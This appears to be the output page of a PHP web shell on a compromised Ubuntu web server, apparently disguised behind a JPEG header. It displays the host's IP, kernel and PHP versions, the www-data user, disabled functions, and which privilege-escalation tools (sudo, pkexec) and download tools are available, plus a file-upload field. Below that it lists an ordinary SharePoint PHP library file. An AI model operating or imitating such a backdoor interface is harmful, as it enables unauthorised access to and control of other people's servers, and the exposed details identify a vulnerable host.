????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.143.17.164 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/local/bin/vendor/vgrem/php-spo/src/SharePoint/ |
Upload File : |
<?php /** * Represents a collection of RoleAssignment resources. */ namespace Office365\SharePoint; use Office365\Runtime\ClientObjectCollection; use Office365\Runtime\Actions\InvokePostMethodQuery; use Office365\Runtime\ResourcePath; use Office365\Runtime\ResourcePathServiceOperation; /** * Represents a collection of RoleAssignment objects that defines all the role assignments for each securable object. */ class RoleAssignmentCollection extends ClientObjectCollection { /** * @return GroupCollection */ public function getGroups() { if(!$this->isPropertyAvailable("Groups")){ $this->setProperty("Groups", new GroupCollection($this->getContext(), new ResourcePath("Groups",$this->getResourcePath()))); } return $this->getProperty("Groups"); } /** * Adds a role assignment to the collection of role assignment objects * @param $principalId string The unique identifier of the role assignment. * @param $roleDefId string */ public function addRoleAssignment($principalId,$roleDefId) { $qry = new InvokePostMethodQuery($this, "addroleassignment", array( "principalid" => $principalId, "roledefid" => $roleDefId )); $this->getContext()->addQuery($qry); } /** * Gets the role assignment associated with the specified principal ID from the collection. * @param $principalId * @return RoleAssignment */ public function getByPrincipalId($principalId) { $path = new ResourcePathServiceOperation("getByPrincipalId",array( $principalId ),$this->getResourcePath()); $roleAssignment = new RoleAssignment($this->getContext(),$path); $this->addChild($roleAssignment); return $roleAssignment; } /** * Removes the role assignment with the specified principal and role definition from the collection. * @param $principalId string The unique identifier of the role assignment. * @param $roleDefId string */ public function removeRoleAssignment($principalId,$roleDefId) { $qry = new InvokePostMethodQuery($this, "removeroleassignment", array( "principalid" => $principalId, "roledefid" => $roleDefId )); $this->getContext()->addQuery($qry); } }